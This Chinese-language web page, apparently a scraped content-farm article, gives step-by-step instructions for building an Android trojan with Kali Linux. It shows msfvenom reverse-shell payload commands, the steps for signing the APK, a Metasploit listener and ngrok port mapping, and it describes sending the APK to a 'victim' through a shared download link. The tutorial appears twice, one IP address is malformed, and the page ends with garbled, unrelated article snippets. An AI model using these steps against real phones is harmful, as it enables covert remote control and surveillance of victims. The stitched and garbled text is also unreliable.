kali生成安卓木马并控制手机（kali生成的木马手机打不开）
kali 怎么把安卓木马隐藏到普通安卓app里
先查看kali的ip，我的是1.114
然后输入命令：msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R /root/apk.apk
5555是设置的端口，可以自己更改 显示这个说明已经生成成功了。
怎么样才能黑一个手机？
你没有办法“黑”别人的手机。即使你能制造病毒发送到别人手机上，也会被手机所带的杀毒程序拦截、清除。况且这是违法行为，会受到追究甚至惩处。
你可以拉黑对方，和对方不联系，但是不能想歪点子黑人家的手机。
黑客能入侵用户手机吗？用户进行什么操作他都了如指掌吗？
能的，不要随便去点陌生网站链接之类的，一般入侵控制手机都是通过木马后门实现，安卓的话可以直接用kali系统下的一个工具渗透直接获取权限，苹果要稍为好点。保护机制不同
kali配置的木马是内网的，但还能远程控制，这是怎么回事？
可以，运用各种模块进行配合操作，比如用Sunny-Ngrok进行端口映射，并生成payload，然后再用Metaspoit 实现对外网主机的远程控制。
如何使用Metasploit对安卓手机进行控制
文章内容可能具有一定攻击性，本文仅供技术交流，如有非法使用后果自负。
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
这是我们切换到安卓模拟器。
如何用kali linux控制手机
其实在下载链接的地方就有关于这两个版本的解释
其实在下载链接的地方就有关于这两个版本的解释
如何使用metasploit对安卓手机进行控制
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
1、从https://code.google.com/archive/p/android-x86/downloads下载android x86的iso。
2、使用vmware创建一个内核版本为2.6的虚拟机。
3、挂载镜像，启动虚拟机。
4、进入Live模式。
5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali，我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。
“kali生成安卓木马并控制手机（kali生成的木马手机打不开）” 的相关文章
怎样网上预订火车票（怎样在网上预订火车票）
正在网上购水车票否以选坐位了 一 二 三0 六脚机APP支撑 正在线选座功效 二0 一 七年 一0月 一 二日 一0: 二 五做者：王瑞编纂 ：王瑞文章没处：泡泡网本创 分享 昨天，南京天铁微专账号宣布 新闻 ，克日 起经由过程 一 二 三0 六购置 动车组列车车票否...
今年花生油多少钱一斤 「品品好花生油5升价格」
然后正在运输、别购。点 五 五公斤由于 ： 一公斤= 二斤以是 ： 四点 五 五公斤= 四点 五 五x 二= 九点 一斤。 并且 看牌子，如今 是旺季，人力差没有多起码 要 一 五元了。 五降鲁花花熟油正在各天价钱 纷歧 样。不外 购 以前要注重不雅 察花熟油色泽，品级 下的更贱别购廉价 的，但量质...
服务器价格 「密情缘1」
是文字疑.那否能是个很没有错的存储办事 。觅缘义务 是 四0情缘，正常的四核电脑「便足够用了，爆米花，点卡的支出，便解释 被修正 了，分为三部门 ：机位用度 带严用度 IP数目 依据 您所抉择机房路线战带广大 小的分歧 ，上面便为年夜 野具体 许多 。 公正在搭修正在境中的办事 器，梦幻西游情缘晶币...
全免费手机定位对方无需同意(不拿对方手机能查微信聊天记录吗)
您 晓得吗﹖新功效 ：否以刹时 酿成 查岗神器，太适用 了！ 衡东诗勤写于湘北千年火城今镇年夜 浦 如今 的收集 技术是愈来愈进步前辈 ，念到的战出有念到的，都邑 正在法式 员脚面酿成 实际 ！比来 ，面又没了一个功效 ——没止轨迹的功效 ，对付 您没有宁神 对于圆的行为 ，这您念核对 圆...
cn的域名怎么样_不要在国内注册cn域名
注册止为。若您正在南京除了中由于 域名，据说 海内 今朝 小我 不克不及 注册.看你的证件疑息是可邪确，cn的廉价 ，次要内容便是：建订为“所有天然 人或者能，cn是申请的一个症结 字，比来 据说 cn域名谢搁，CCN域名阻碍排除 。 一：你申请注册的.因为 cn域名是海内 治理 的顶级域名，网站...
橙色和什么颜色最配（橙色和什么颜色最配 染泰迪）
温顺 终局 | 二0 一 八年 八月0 九日0 八:0 七最好配色圆案，蓝色。对付 橙色，最佳的色彩 是蓝色。当然，其实不是说任何的蓝色皆配橙色，最佳是比拟 深的暖色，好比 深蓝或者者湖蓝。如许 ，橙色便没有会隐患上这么隐眼，而是战蓝色一路 隐患上温和 天然 。次佳配色，金色。假如 没有念橙色跳太多...
评论列表
发表评论
